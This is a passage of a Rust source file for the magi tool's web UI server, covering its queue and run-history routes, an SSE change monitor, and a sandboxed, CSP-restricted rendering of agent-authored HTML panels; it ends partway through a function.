Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # Independent scheduler
72//!
73//! `/api/loop` starts and controls a detached scheduler. Replacing or closing
74//! the web process does not stop that scheduler or its task/chat workers.
75//! Stop ends scheduling; explicit park additionally asks task workers to stop
76//! at their next node boundary. Updating never requests a park.
77
78#[cfg(test)]
79pub(crate) mod request_cost;
80
81use std::collections::{HashMap, HashSet};
82use std::convert::Infallible;
83use std::net::{IpAddr, Ipv4Addr, SocketAddr};
84use std::path::{Path as FsPath, PathBuf};
85#[cfg(test)]
86use std::pin::Pin;
87use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
88use std::time::Duration;
89use tokio::sync::Notify;
90
91use anyhow::{Context, Result};
92use axum::Json;
93use axum::Router;
94use axum::body::Bytes;
95use axum::extract::rejection::JsonRejection;
96use axum::extract::{DefaultBodyLimit, Path, Query, State};
97use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
98use axum::response::sse::{Event, KeepAlive, Sse};
99use axum::response::{IntoResponse, Response};
100use axum::routing::{get, post, put};
101use jiff::Timestamp;
102use serde::{Deserialize, Serialize};
103use tokio_stream::StreamExt as _;
104use tokio_stream::wrappers::ReceiverStream;
105
106use crate::agent;
107use crate::ask::{self, Answer, Question, Questions};
108use crate::config::{AgentKind, Config, Update, UpdateMode};
109use crate::md;
110use crate::notices::{Notice, Notices};
111use crate::persona;
112use crate::persona_icon;
113use crate::proc::Quiet as _;
114use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
115use crate::run::{RunState, RunStatus};
116use crate::talk::{Talk, Talks};
117use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
118
119/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
120pub const DEFAULT_PORT: u16 = 7878;
121
122/// How often the change stream restats the queue and the runs directory.
123const POLL: Duration = Duration::from_secs(1);
124
125/// Keep-alive interval for the change stream. Phones and intermediaries drop
126/// an idle connection within a minute; a comment every fifteen seconds keeps
127/// the stream alive without waking the radio often enough to matter.
128const KEEPALIVE: Duration = Duration::from_secs(15);
129
130/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
131///
132/// A fixed period this long would not track a `[update] interval` shorter
133/// than itself: an operator who set `interval = "1m"` to make the deck
134/// notice a release within a minute would still wait up to fifteen of them
135/// for the next wake-up to even ask [`updater::Checker::should_check`].
136/// [`recheck_poll_period`] scales the sleep with the configured interval
137/// instead, and this is only its ceiling - reached at the default interval
138/// of a day, where waking any more often would just spend cycles asking a
139/// question that stays "no" for hours.
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
141
142/// Floor on the same, so a very short `[update] interval` cannot spin
143/// [`run_update_recheck`] in a near-busy loop.
144const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
145
146/// Runs returned when the client does not ask, and the ceiling if it asks for
147/// more. The cap exists because the list handler parses every `run.json` it
148/// returns, and a phone cannot render two thousand rows anyway.
149const LIST_DEFAULT: usize = 50;
150/// Upper bound for `?limit=`.
151const LIST_MAX: usize = 500;
152
153/// Width of a generated task title, matching what the CLI uses.
154const TITLE_MAX: usize = 72;
155
156/// Per-file cap for an attachment upload.
157///
158/// Enforced twice: axum's own body limit is raised one byte above this, only
159/// on the two attachment `POST` routes (see the router - every other route
160/// keeps the crate-wide default), so an oversize body is still read far
161/// enough to answer with our own message below rather than axum's generic
162/// one; this constant is what that message and the boundary check actually
163/// compare against.
164const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
165
166/// The image types an attachment upload accepts - a closed whitelist, the
167/// same posture [`asset_content_type`] takes for panel assets and for the
168/// same reason: SVG is excluded on purpose because it is active content
169/// (it may carry `<script>`) and not merely a picture, so it never appears
170/// here even though `image/svg+xml` is a real IANA type.
171const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
172
173/// Header carrying the operator's own filename. Free text, stored only for
174/// display - see [`talk::Attachment::name`]'s doc on why it never
175/// contributes to a path.
176const FILENAME_HEADER: &str = "x-filename";
177
178/// The header that makes serving agent-authored HTML defensible, sent by both
179/// panel routes and asserted verbatim by a test.
180///
181/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
182/// denies every fetch destination that is not re-allowed below, which is all of
183/// them except images and fonts; `img-src 'self' data:` means an image comes
184/// from magi's own asset route or from the document itself, so a panel cannot
185/// signal an outside server by pointing an `<img>` at it - the classic
186/// exfiltration channel for markup that cannot run script. `style-src
187/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
188/// free formatting means here and a style sheet cannot make a request that
189/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
190/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
191/// stops a form posting the owner's decision to a third party, and
192/// `frame-ancestors 'self'` stops another site framing the panel to phish with
193/// it.
194///
195/// There is deliberately no `script-src`: `default-src 'none'` already covers
196/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
197/// denied twice over. Weakening any directive here is the difference between a
198/// panel the owner reads and a page that can talk to the tailnet, which is why
199/// the test compares the whole string rather than looking for a substring.
200const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
201                         font-src data:; base-uri 'none'; form-action 'none'; \
202                         frame-ancestors 'self'";
203
204const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
205const APP_CSS: &str = include_str!("../assets/ui/app.css");
206const APP_JS: &str = include_str!("../assets/ui/app.js");
207
208/// Which address to listen on.
209#[derive(Debug, Clone, Copy, PartialEq, Eq)]
210pub enum Bind {
211    /// Ask Tailscale, and fall back to loopback with a warning.
212    Auto,
213    /// An address the operator named.
214    Addr(IpAddr),
215}
216
217impl std::str::FromStr for Bind {
218    type Err = String;
219
220    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
221    /// the CLI can take `--bind` straight into it: the one spelling of
222    /// `auto` that matters is the one this function knows.
223    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
224        if s.eq_ignore_ascii_case("auto") {
225            return Ok(Self::Auto);
226        }
227        s.parse()
228            .map(Self::Addr)
229            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
230    }
231}
232
233impl std::fmt::Display for Bind {
234    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
235        match self {
236            Self::Auto => f.write_str("auto"),
237            Self::Addr(addr) => write!(f, "{addr}"),
238        }
239    }
240}
241
242/// How to serve.
243#[derive(Debug, Clone)]
244pub struct Opts {
245    /// Address to listen on.
246    pub bind: Bind,
247    /// Port to listen on.
248    pub port: u16,
249    /// Repository used for tasks posted without one.
250    pub repo: PathBuf,
251    /// Print the URL on its own line for a caller that wants to hand it to a
252    /// browser. magi never launches one itself.
253    pub open: bool,
254    /// Merge mode override for the independent scheduler (`none`, `local`,
255    /// `pr`); `None` leaves it to each repository's own config.
256    ///
257    /// The same override as `magi serve --merge`, passed when the phone starts
258    /// dispatch without requiring a terminal.
259    pub merge: Option<String>,
260}
261
262impl Default for Opts {
263    fn default() -> Self {
264        Self {
265            bind: Bind::Auto,
266            port: DEFAULT_PORT,
267            repo: PathBuf::from("."),
268            open: false,
269            merge: None,
270        }
271    }
272}
273
274mod id_links;
275
276type Stamps = HashMap<String, (u128, u64)>;
277
278/// Metadata only: no task instructions or conversation bodies are read here.
279fn store_stamps(root: &FsPath, runs: bool) -> Stamps {
280    try_store_stamps(root, runs).unwrap_or_default()
281}
282
283fn try_store_stamps(root: &FsPath, runs: bool) -> std::io::Result<Stamps> {
284    try_stamps(root, runs, false)
285}
286
287fn try_stamps(root: &FsPath, runs: bool, all_entries: bool) -> std::io::Result<Stamps> {
288    use std::hash::{Hash as _, Hasher as _};
289    let entries = match std::fs::read_dir(root) {
290        Ok(entries) => entries,
291        Err(e) if e.kind() == std::io::ErrorKind::NotFound => return Ok(HashMap::new()),
292        Err(e) => return Err(e),
293    };
294    let mut stamps = HashMap::new();
295    for entry in entries {
296        let entry = entry?;
297        let path = if runs {
298            entry.path().join("run.json")
299        } else {
300            entry.path()
301        };
302        if !runs && !all_entries && path.extension().is_none_or(|ext| ext != "json") {
303            continue;
304        }
305        let identity = match file_identity(&path) {
306            Ok(identity) => identity,
307            Err(e) if runs && e.kind() == std::io::ErrorKind::NotFound => continue,
308            Err(e) => return Err(e),
309        };
310        let modified = identity
311            .modified
312            .duration_since(std::time::UNIX_EPOCH)
313            .unwrap_or_default();
314        let mut hasher = std::hash::DefaultHasher::new();
315        identity.hash(&mut hasher);
316        let id = if runs || all_entries {
317            entry.file_name().to_string_lossy().into_owned()
318        } else {
319            path.file_stem()
320                .unwrap_or_default()
321                .to_string_lossy()
322                .into_owned()
323        };
324        stamps.insert(id, (modified.as_nanos(), hasher.finish()));
325    }
326    Ok(stamps)
327}
328
329#[derive(Debug, Serialize)]
330struct Delta {
331    base: u64,
332    changed: Vec<String>,
333    removed: Vec<String>,
334}
335
336fn diff_stamps(previous: &Stamps, next: &Stamps, base: u64) -> Delta {
337    let mut changed: Vec<_> = next
338        .iter()
339        .filter(|(id, stamp)| previous.get(*id) != Some(*stamp))
340        .map(|(id, _)| id.clone())
341        .collect();
342    let mut removed: Vec<_> = previous
343        .keys()
344        .filter(|id| !next.contains_key(*id))
345        .cloned()
346        .collect();
347    changed.sort_unstable();
348    removed.sort_unstable();
349    Delta {
350        base,
351        changed,
352        removed,
353    }
354}
355
356/// Change detection token for recorded runs under `runs`.
357#[cfg(test)]
358fn runs_revision(runs: &FsPath) -> u64 {
359    stamps_revision(&store_stamps(runs, true))
360}
361
362/// Opaque tokens use the exact metadata snapshot behind the delta, in both
363/// health and SSE. Nanoseconds and length also detect same-millisecond writes
364/// and deleting an older conversation (a newest-mtime token cannot do that).
365fn stamps_revision(stamps: &Stamps) -> u64 {
366    use std::hash::{Hash as _, Hasher as _};
367    if stamps.is_empty() {
368        return 0;
369    }
370    let mut entries: Vec<_> = stamps.iter().collect();
371    entries.sort_unstable();
372    let mut hasher = std::hash::DefaultHasher::new();
373    entries.hash(&mut hasher);
374    hasher.finish().max(1)
375}
376
377#[derive(Clone, Debug)]
378pub(crate) struct ChangeNotification {
379    pub payload: serde_json::Value,
380}
381
382#[derive(Default, Debug)]
383pub(crate) struct QueueIndex {
384    // Retain parsed records only while their file identity is unchanged.
385    records: HashMap<String, (FileIdentity, Arc<TaskRelation>)>,
386    #[cfg(test)]
387    reparsed: usize,
388}
389
390#[derive(Clone, Debug)]
391struct TaskRelation {
392    id: String,
393    status: Option<crate::queue::TaskStatus>,
394    priority: i32,
395    runs: Vec<String>,
396    source: Source,
397    chat: Option<String>,
398}
399
400impl From<Task> for TaskRelation {
401    fn from(task: Task) -> Self {
402        Self {
403            id: task.id,
404            status: Some(task.status),
405            priority: task.priority,
406            runs: task.runs,
407            source: task.source,
408            chat: task.chat,
409        }
410    }
411}
412
413#[derive(Debug, PartialEq, Eq, Hash)]
414struct FileIdentity {
415    modified: std::time::SystemTime,
416    len: u64,
417    #[cfg(unix)]
418    identity: (u64, u64, i64, i64),
419}
420
421fn file_identity(path: &FsPath) -> std::io::Result<FileIdentity> {
422    let meta = path.metadata()?;
423    Ok(FileIdentity {
424        modified: meta.modified()?,
425        len: meta.len(),
426        #[cfg(unix)]
427        identity: {
428            use std::os::unix::fs::MetadataExt as _;
429            (meta.dev(), meta.ino(), meta.ctime(), meta.ctime_nsec())
430        },
431    })
432}
433
434type Revisions = (u64, u64, u64, u64, u64, u64);
435type MonitorSnapshot = Option<(Revisions, [Stamps; 3])>;
436
437#[derive(Debug)]
438pub(crate) struct SharedMonitor {
439    pub broadcaster: tokio::sync::broadcast::Sender<ChangeNotification>,
440    pub latest: Arc<Mutex<MonitorSnapshot>>,
441    pub worker_started: std::sync::atomic::AtomicBool,
442    pub queue_index: Arc<Mutex<QueueIndex>>,
443    list_walks: Mutex<Vec<ListWalk>>,
444}
445
446/// Keep a failed store's last observation without suppressing healthy stores.
447fn monitor_scan(ui: &Ui, previous: MonitorSnapshot) -> (Revisions, [Stamps; 3]) {
448    let (mut rev, mut stamps) = previous.unwrap_or_default();
449    for (index, root, runs) in [
450        (0, ui.queue.root(), false),
451        (1, ui.runs.as_path(), true),
452        (2, ui.talks.root(), false),
453    ] {
454        if let Ok(next) = try_store_stamps(root, runs) {
455            let value = stamps_revision(&next);
456            match index {
457                0 => rev.0 = value,
458                1 => rev.1 = value,
459                _ => rev.3 = value,
460            }
461            stamps[index] = next;
462        }
463    }
464    if let Ok(next) = try_stamps(ui.questions.root(), false, true) {
465        rev.2 = stamps_revision(&next);
466    }
467    if let Ok(next) = try_stamps(ui.notices.root(), false, true) {
468        rev.4 = stamps_revision(&next);
469    }
470    rev.5 = ui.lock_loop().rev;
471    (rev, stamps)
472}
473
474impl SharedMonitor {
475    pub fn new() -> Self {
476        let (tx, _) = tokio::sync::broadcast::channel(64);
477        Self {
478            broadcaster: tx,
479            latest: Arc::default(),
480            worker_started: std::sync::atomic::AtomicBool::new(false),
481            queue_index: Arc::default(),
482            list_walks: Mutex::default(),
483        }
484    }
485
486    async fn revisions(&self, ui: &Arc<Ui>) -> ApiResult<Revisions> {
487        let mut receiver = self.broadcaster.subscribe();
488        self.ensure_worker(ui);
489        loop {
490            if let Some((revisions, _)) = self
491                .latest
492                .lock()
493                .unwrap_or_else(PoisonError::into_inner)
494                .as_ref()
495            {
496                return Ok(*revisions);
497            }
498            tokio::time::timeout(Duration::from_secs(5), receiver.recv())
499                .await
500                .map_err(|_| ApiError::internal("Store monitoring is unavailable; retry"))?
501                .map_err(|_| ApiError::internal("Store monitoring restarted; retry"))?;
502        }
503    }
504
505    pub fn ensure_worker(&self, ui: &Arc<Ui>) {
506        if self
507            .worker_started
508            .compare_exchange(
509                false,
510                true,
511                std::sync::atomic::Ordering::SeqCst,
512                std::sync::atomic::Ordering::SeqCst,
513            )
514            .is_err()
515        {
516            return;
517        }
518
519        let weak_ui = Arc::downgrade(ui);
520        tokio::spawn(async move {
521            let mut ticker = tokio::time::interval(POLL);
522            loop {
523                ticker.tick().await;
524                let Some(ui) = weak_ui.upgrade() else {
525                    break;
526                };
527
528                let previous = ui
529                    .monitor
530                    .latest
531                    .lock()
532                    .unwrap_or_else(PoisonError::into_inner)
533                    .clone();
534                let state = Arc::clone(&ui);
535                let scan =
536                    tokio::task::spawn_blocking(move || monitor_scan(&state, previous)).await;
537
538                // A slow filesystem must not turn missed ticks into a busy loop.
539                ticker.reset();
540                let Ok((revisions, next_stamps)) = scan else {
541                    continue;
542                };
543
544                let mut latest_guard = match ui.monitor.latest.lock() {
545                    Ok(g) => g,
546                    Err(p) => p.into_inner(),
547                };
548
549                let previous = latest_guard.take();
550                let (last_rev, prev_stamps) = match previous {
551                    Some((r, s)) => (Some(r), Some(s)),
552                    None => (None, None),
553                };
554
555                if last_rev == Some(revisions) {
556                    *latest_guard = Some((revisions, prev_stamps.unwrap_or(next_stamps)));
557                    continue;
558                }
559
560                let mut payload = serde_json::json!({
561                    "queue_rev": revisions.0,
562                    "runs_rev": revisions.1,
563                    "questions_rev": revisions.2,
564                    "talks_rev": revisions.3,
565                    "notifications_rev": revisions.4,
566                    "loop_rev": revisions.5,
567                });
568
569                if let (Some(base), Some(prev)) = (last_rev, prev_stamps.as_ref()) {
570                    for (index, (key, rev)) in [
571                        ("queue_delta", base.0),
572                        ("runs_delta", base.1),
573                        ("talks_delta", base.3),
574                    ]
575                    .into_iter()
576                    .enumerate()
577                    {
578                        let delta = diff_stamps(&prev[index], &next_stamps[index], rev);
579                        if delta.changed.len() + delta.removed.len() > 0
580                            && delta.changed.len() <= 50
581                        {
582                            payload[key] = serde_json::to_value(delta).expect("serializable delta");
583                        }
584                    }
585                }
586
587                *latest_guard = Some((revisions, next_stamps));
588                drop(latest_guard);
589
590                let _ = ui.monitor.broadcaster.send(ChangeNotification { payload });
591            }
592        });
593    }
594}
595
596/// Everything the handlers touch.
597///
598/// The queue, the runs directory and the magi home are fields rather than
599/// process-global lookups so a test drives the real router against a temp
600/// directory instead of the operator's own history.
601#[derive(Debug, Clone)]
602pub struct Ui {
603    queue: Queue,
604    questions: Questions,
605    /// `<home>/notifications`, the bell's own store. Derived from `home` in
606    /// [`Ui::new`] so no constructor signature had to grow.
607    notices: Notices,
608    talks: Talks,
609    runs: PathBuf,
610    references: Arc<id_links::IndexCache>,
611    home: PathBuf,
612    repo: PathBuf,
613    /// Where the runs' worktrees live, for the health disk figures.
614    ///
615    /// Spelled independently of [`crate::run::default_worktree_root`] so the
616    /// test servers can point it at their own temp directory: the health route
617    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
618    /// be measuring the machine instead of the server.
619    worktrees_root: PathBuf,
620    /// Talks with an agent turn in flight right now.
621    ///
622    /// In-process and therefore not durable, which is correct: it guards
623    /// against two taps on one phone and two phones on one tailnet, both of
624    /// which are this process's own concurrency. A second `magi web` would not
625    /// see it, and a second `magi web` on the same home is already a
626    /// misconfiguration the queue's claims would catch first.
627    talk_turns: Arc<Mutex<TalkTurns>>,
628    /// Short persistence-to-worker-publication transactions only, never agent
629    /// execution. A handover closes admission before it releases the runtime.
630    admissions: Arc<tokio::sync::RwLock<bool>>,
631    /// Held by `POST /api/upgrade` from its busy-stage check until the first
632    /// progress record is written, so two taps cannot both start an upgrade.
633    /// After that `upgrade.json` carries the exclusion.
634    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
635    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
636    /// exclusion in memory for when `upgrade.json` could not be written.
637    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
638    /// Request failures before progress exists; never overwrite upgrade.json.
639    upgrade_request_error: Arc<Mutex<Option<UpgradeRequestFailure>>>,
640    /// Runs this process is resuming right now.
641    ///
642    /// Separate from `talk_turns` because a run and a talk are different
643    /// things to hold, and a resume is far more expensive to start twice: it
644    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
645    /// guards two taps and two phones, which is this process's own
646    /// concurrency.
647    resuming: Arc<Mutex<HashSet<String>>>,
648    /// The last scan of `[repos] roots`, and when it happened. Shared across
649    /// requests so polling `GET /api/repos` repeatedly does not repeat the
650    /// filesystem walk every time - see [`repos::Cache`].
651    repos_cache: repos::Cache,
652    /// The machine-config file the settings screen reads and writes: always
653    /// [`Config::machine_layer`], never anything a request names. A field so a
654    /// test can point it at its own temp directory instead of the operator's.
655    machine_config: Option<PathBuf>,
656    /// Merge mode override handed to the loop this process starts.
657    merge: Option<String>,
658    /// Local request revision and errors; execution belongs to detached workers.
659    looping: Arc<Mutex<LoopState>>,
660    /// Isolated route-test scheduler; never compiled into production.
661    #[cfg(test)]
662    launch: Launch,
663    /// A test-only stop point inside `talk_say`'s busy branch. See
664    /// [`BusyQueueGate`].
665    #[cfg(test)]
666    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
667    pub(crate) monitor: Arc<SharedMonitor>,
668}
669
670type AdmissionGuard = tokio::sync::OwnedRwLockReadGuard<bool>;
671
672/// A one-shot stop point the busy branch's queued-draft write can be made to
673/// pause at, right before [`talk::queue`] runs.
674///
675/// Exists because a test cannot otherwise pin *when*, relative to the turn
676/// slot being freed, that write happens: `blocking` runs it on
677/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
678/// already finished, so counting polls on the handler future to park it at a
679/// particular `.await` is a guess about scheduling, not a fact about it - see
680/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
681/// used to do exactly that and paid for it with an occasional "async fn
682/// resumed after completion" panic under load.
683///
684/// `reached` fires the instant the write is about to run, so a test waits for
685/// a real event instead of a poll count. `release` then blocks the write
686/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
687/// rather than an async channel because this all happens inside the
688/// `spawn_blocking` closure the write already runs on, off any runtime
689/// worker, so blocking here costs nothing the write was not already going to
690/// cost.
691#[cfg(test)]
692struct BusyQueueGate {
693    reached: tokio::sync::oneshot::Sender<()>,
694    release: std::sync::mpsc::Receiver<()>,
695}
696
697#[cfg(test)]
698impl std::fmt::Debug for BusyQueueGate {
699    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
700        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
701    }
702}
703
704impl Ui {
705    /// A server over explicit paths.
706    pub fn new(
707        queue: Queue,
708        questions: Questions,
709        talks: Talks,
710        runs: PathBuf,
711        home: PathBuf,
712        repo: PathBuf,
713    ) -> Self {
714        Self {
715            queue,
716            questions,
717            notices: Notices::at(home.join("notifications")),
718            talks,
719            runs,
720            references: Arc::default(),
721            home,
722            repo,
723            // The default location, overridden by `with_worktrees_root` - a
724            // builder step rather than a ninth parameter, for the reason
725            // `with_merge` gives.
726            worktrees_root: run::default_worktree_root(),
727            talk_turns: Arc::default(),
728            admissions: Arc::default(),
729            upgrade_gate: Arc::default(),
730            upgrade_spawned: Arc::default(),
731            upgrade_request_error: Arc::default(),
732            resuming: Arc::default(),
733            repos_cache: repos::Cache::new(),
734            machine_config: Config::machine_layer(),
735            merge: None,
736            looping: Arc::default(),
737            #[cfg(test)]
738            launch: launch_daemon,
739            #[cfg(test)]
740            busy_queue_gate: Arc::default(),
741            monitor: Arc::new(SharedMonitor::new()),
742        }
743    }
744
745    /// Refresh metadata on every lookup, including external-process writes. Only
746    /// changed records are parsed. Never publish a partial scan as an empty set.
747    fn indexed_tasks(&self) -> ApiResult<Vec<Arc<TaskRelation>>> {
748        let mut index = self
749            .monitor
750            .queue_index
751            .lock()
752            .unwrap_or_else(PoisonError::into_inner);
753        let entries = match std::fs::read_dir(self.queue.root()) {
754            Ok(entries) => entries,
755            Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
756                index.records.clear();
757                return Ok(Vec::new());
758            }
759            Err(e) => return Err(anyhow::Error::from(e).into()),
760        };
761        let mut seen = HashSet::new();
762        for entry in entries {
763            let path = entry.map_err(anyhow::Error::from)?.path();
764            if path.extension().is_none_or(|ext| ext != "json") {
765                continue;
766            }
767            let Some(id) = path.file_stem().and_then(|s| s.to_str()) else {
768                continue;
769            };
770            let stamp = file_identity(&path).map_err(anyhow::Error::from)?;
771            seen.insert(id.to_owned());
772            // On platforms without inode/ctime, re-read rather than trust a
773            // same-size replacement with a preserved modification timestamp.
774            if !cfg!(unix) || index.records.get(id).is_none_or(|(old, _)| *old != stamp) {
775                let Ok(task) = self.queue.get(id) else {
776                    // Isolate an unreadable record, as Queue::list does. Keep
777                    // its last known relationship so a lookup of THAT task
778                    // still fails on the authoritative read below. Never let
779                    // unrelated corruption disable every run and conversation.
780                    // Counts must not present its previous status as current.
781                    if let Some((_, record)) = index.records.get_mut(id) {
782                        Arc::make_mut(record).status = None;
783                    }
784                    continue;
785                };
786                #[cfg(test)]
787                {
788                    index.reparsed += 1;
789                }
790                if file_identity(&path).map_err(anyhow::Error::from)? != stamp {
791                    return Err(ApiError::conflict("Queue changed during read; retry"));
792                }
793                index
794                    .records
795                    .insert(id.to_owned(), (stamp, Arc::new(TaskRelation::from(task))));
796            }
797        }
798        index.records.retain(|id, _| seen.contains(id));
799        let mut tasks: Vec<_> = index
800            .records
801            .values()
802            .map(|(_, task)| task.clone())
803            .collect();
804        tasks.sort_unstable_by(|a, b| b.priority.cmp(&a.priority).then_with(|| b.id.cmp(&a.id)));
805        Ok(tasks)
806    }
807
808    fn find_task_for_run(&self, run_id: &str) -> ApiResult<Option<Task>> {
809        let Some(record) = self
810            .indexed_tasks()?
811            .into_iter()
812            .find(|task| task.runs.iter().any(|id| id == run_id))
813        else {
814            return Ok(None);
815        };
816        let task = self.queue.get(&record.id)?;
817        if !task.runs.iter().any(|id| id == run_id) {
818            return Err(ApiError::conflict("Task relationship changed; retry"));
819        }
820        Ok(Some(task))
821    }
822
823    fn find_tasks_for_talk(&self, talk_id: &str) -> ApiResult<Vec<Task>> {
824        self.indexed_tasks()?
825            .into_iter()
826            .filter(|task| {
827                task.chat.as_deref() == Some(talk_id)
828                    || matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
829            })
830            .map(|record| {
831                let task = self.queue.get(&record.id)?;
832                if task.chat.as_deref() != Some(talk_id)
833                    && !matches!(&task.source, Source::Agent { run, .. } if run == talk_id)
834                {
835                    return Err(ApiError::conflict("Task relationship changed; retry"));
836                }
837                Ok(task)
838            })
839            .collect()
840    }
841
842    /// The operator's own state: `<home>/queue`, `<home>/questions`,
843    /// `<home>/talks`, `<home>/runs`.
844    pub fn open(repo: PathBuf) -> Self {
845        Self::new(
846            Queue::open(),
847            Questions::open(),
848            Talks::open(),
849            run::runs_root(),
850            run::home(),
851            repo,
852        )
853    }
854
855    /// The merge mode the loop should use, as the command line gave it.
856    ///
857    /// A builder step rather than a seventh parameter on [`Ui::new`], because
858    /// the override is a property of how this process was invoked and not of
859    /// where its state lives - which is all the tests that build a `Ui` by
860    /// hand are saying.
861    #[must_use]
862    pub fn with_merge(mut self, merge: Option<String>) -> Self {
863        self.merge = merge;
864        self
865    }
866
867    /// The machine-config file the settings screen writes, when it is not
868    /// [`Config::machine_layer`] (tests).
869    #[cfg(test)]
870    #[must_use]
871    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
872        self.machine_config = path;
873        self
874    }
875
876    /// Where the runs' worktrees live, when it is not the default.
877    ///
878    /// The health view sizes this directory, so a test that leaves it at the
879    /// default would be measuring the operator's own machine.
880    #[must_use]
881    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
882        self.worktrees_root = root;
883        self
884    }
885
886    /// Point the loop at something other than [`launch_daemon`].
887    ///
888    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
889    /// this crate may start the real loop.
890    #[cfg(test)]
891    #[must_use]
892    fn with_launch(mut self, launch: Launch) -> Self {
893        self.launch = launch;
894        self
895    }
896
897    /// Install a [`BusyQueueGate`] for the next pass through the busy
898    /// branch's queued-draft write, replacing any earlier one.
899    ///
900    /// A setter on `&self` rather than a `with_*` builder consumed once,
901    /// because a test that drives the busy branch more than once (as
902    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
903    /// to build confidence the interleaving is handled deterministically and
904    /// not just on a lucky run) needs a fresh channel pair each time, on the
905    /// one `Ui` it already built its temp directories around.
906    #[cfg(test)]
907    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
908        *self
909            .busy_queue_gate
910            .lock()
911            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
912    }
913
914    /// Prevent a restart from ending an already accepted send between its
915    /// durable transcript write and detached worker reservation.
916    fn begin_admission(&self) -> ApiResult<AdmissionGuard> {
917        let guard = Arc::clone(&self.admissions)
918            .try_read_owned()
919            .map_err(|_| ApiError::conflict("web restart in progress; retry this message"))?;
920        if *guard {
921            return Err(ApiError::conflict(
922                "web restart in progress; retry this message",
923            ));
924        }
925        Ok(guard)
926    }
927
928    /// Start a scheduler that outlives this web process.
929    async fn start_detached_loop(&self) -> ApiResult<()> {
